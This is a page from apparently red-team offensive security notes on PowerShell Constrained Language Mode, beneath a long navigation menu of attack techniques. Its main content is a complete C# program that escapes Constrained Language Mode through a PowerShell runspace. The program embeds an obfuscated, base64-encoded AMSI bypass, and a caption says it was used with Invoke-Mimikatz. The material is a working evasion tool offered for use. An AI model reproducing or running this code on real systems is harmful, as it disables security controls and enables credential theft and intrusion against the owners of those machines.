RFC - Offensive Security Notes
  • Active Directory
    • Enumeration
      • Active Directory Module
        • Enumerating the Domain
        • Enumerating ACLs
      • PowerView 3.0
      • Verify connectivity to domain controller
      • WMI domain enumeration through root\directory\ldap
      • PAM Trust
      • DNS discovery
        • Get-DnsServerZone
    • Privilege Escalation
      • Kerberos Delegation
        • Unconstrained delegation
        • Constrained delegation
        • Resource-based Constrained Delegation
      • Escalating from child to parent domain
      • Abusing inter-forest trust
      • WSUS server abuse
      • ACL Enumeration with PowerView 2.0
    • Persistence
      • Kerberos attacks
        • Golden ticket
        • Silver ticket
      • DSRM (Directory Services Restore Mode)
  • Initial Access
    • VBA Macros
      • Mark-of-the-Web
  • Discovery
    • Juicy files
      • PowerShell history
    • Network Enumeration
      • Network discovery scans
        • Ping scan
      • Nmap
      • Perimeter firewall scanning for open outbound ports
  • Execution
    • WMI
      • Remote code execution using WMI
    • PowerShell
      • C# assembly in PowerShell
        • List load assembly
        • Add-Type
        • UnsafeNativeMethods
        • DelegateType Reflection
        • Reflective Load
    • C# .Net Assembly
      • Process injection
        • Debugging
        • Using VirtualAllocEx and WriteProcessMemory
        • Using NTAPI Undocumented Functions
    • ReverseShells
      • Linux
        • Stabilizing zsh shell
    • Metasploit
      • HTTPs Meterpreter
  • Exploitation
    • Win32 APIs
      • OpenProcess
      • VirtualAllocEx
      • WriteProcessMemory
      • CreateRemoteThread
  • Credential Access
    • Microsoft Windows
      • Windows credential audit and logon types
      • Local credentials (SAM and LSA)
      • Lsass from forensics dump
      • Access Tokens
        • SeImpersonatePrivilege
      • ntds.dit
        • Dumping the contents of ntds.dit files using PowerShell
      • Mimikatz
      • LAPS
  • Lateral Movement
    • Windows Lateral Movement
      • Remote Desktop Protocol (RDP)
      • PowerShell Remoting (PS Remote)
        • Kerberos double hoping
      • Windows Task Scheduler
    • Linux Lateral Movement
  • Persistence
  • Defence Evasion
    • Antimalware Scan Interface (AMSI)
      • Debugging AMSI with Frida
      • PowerShell Bypasses
      • JS/VBA Bypasses
    • PowerShell
      • PowerShell version 2
      • Constrained Language Mode
      • Just Enough Administration (JEA)
      • ScriptBlockLogging
    • Microsoft Defender
    • Anti-virus evasion
      • Evasion and bypassing detection within C#
        • Encryptors
          • Aes encryptor
        • Sandbox evasion
          • Time accelerated checks
    • AppLocker
      • InstallUtil
      • MsBuild
  • Network Pivoting
    • Proxies and port fowarding
      • SSH
      • Metasploit
      • Socat
      • SSH Shuttle
      • Windows netsh command
    • Network discovery and scanning
  • Exfiltration
    • Windows
      • Copy files over SMB
  • Services
    • MS SQL Server
      • Enumeration
      • UNC Path Injection
      • Privilege Escalation
      • Linked Servers
      • SQL Injection
  • Misc
    • CrackMapExec
    • Cheat sheets
  • Cloud
    • Azure
      • Authentication
      • Enumeration
        • AzureHound
        • Az.Powershell
      • Initial Access
        • Device Code Phishing
        • Family-Of-Client-Ids - FOCI
        • JWT Assertion
Powered by GitBook
On this page
  • Overview
  • Check for Constrained Language Mode
  • Bypassing constrained language mode with PowerShell runspace
  • Code example
  1. Defence Evasion
  2. PowerShell

Constrained Language Mode

Overview

Constrained Language Mode is a security feature in Windows PowerShell that restricts the use of certain language elements that could potentially be used to execute malicious code. This feature was introduced in PowerShell version 2.0 to help prevent malicious scripts and commands from running on a system.

When PowerShell is in Constrained Language Mode, it restricts access to certain .NET Framework classes and types, as well as some PowerShell language elements.

Check for Constrained Language Mode

$ExecutionContext.SessionState.LanguageMode

[System.Console]::WriteLine("ConstrainedModeTest")

Bypassing constrained language mode with PowerShell runspace

A PowerShell runspace is a lightweight container that allows you to execute PowerShell commands and scripts within a specific context.

Code example

using System;
using System.Collections.ObjectModel;
using System.Diagnostics;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Threading;

namespace PowerShellRunspace
{
    internal class Program
    {
        static void Main(string[] args)
        {
            bool running = false;

            ProcessStartInfo startInfo = new ProcessStartInfo();
            {
                startInfo.FileName = "powershell.exe";
                startInfo.RedirectStandardOutput = true;
                startInfo.UseShellExecute = false;
                startInfo.Arguments = "-NoExit -ExecutionPolicy Bypass"; 
                startInfo.Verb = "runas";
            }

            Runspace runspace = RunspaceFactory.CreateRunspace();
            {
                runspace.Open();
            }

            PowerShell powershell = PowerShell.Create();
            {
                powershell.Runspace = runspace;
            }

            Thread cmd = new Thread(() =>
            {
                running = true;
                while (running)
                {
                    Console.Write("PS> ");
                    string command = Console.ReadLine();
                    Collection<PSObject> results = new Collection<PSObject>();
                    switch (command)
                    {
                        case "exit":
                            running = false;
                            break;
                        case "!>amsi":
                            string amsi = "$t = [Ref].Assembly.GetTypes() | foreach {if ($_.Name -like \"*iUtils\") {$u=$_}};Invoke-Expression ([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String(\"JABmAHMAIAA9ACAAJAB1AC4ARwBlAHQARgBpAGUAbABkAHMAKAAnAE4AbwBuAFAAdQBiAGwAaQBjACwAUwB0AGEAdABpAGMAJwApACAAfAAgAGYAbwByAGUAYQBjAGgAIAB7AGkAZgAgACgAJABfAC4ATgBhAG0AZQAgAC0AbABpAGsAZQAgACIAKgBJAG4AaQB0AEYAYQBpAGwAZQBkACIAKQAgAHsAJABmAD0AJABfAH0AfQA=\")));$f.SetValue($null,$true)";
                            powershell.AddScript(amsi);
                            powershell.Streams.ClearStreams();
                            results = powershell.Invoke();
                            break;
                        default:
                            powershell.AddScript(command);
                            powershell.Streams.ClearStreams();
                            results = powershell.Invoke();

                            foreach (PSObject obj in results)
                            {
                                Console.WriteLine(obj.ToString());
                            }
                            break;
                    }
                }
            });
            cmd.Start();

            cmd.Join();

            powershell.Dispose();
            runspace.Dispose();
        }
    }
}
PreviousPowerShell version 2NextJust Enough Administration (JEA)

Last updated 1 year ago

PowerShellRunspace.exe running Invoke-Mimikatz and AMSI bypass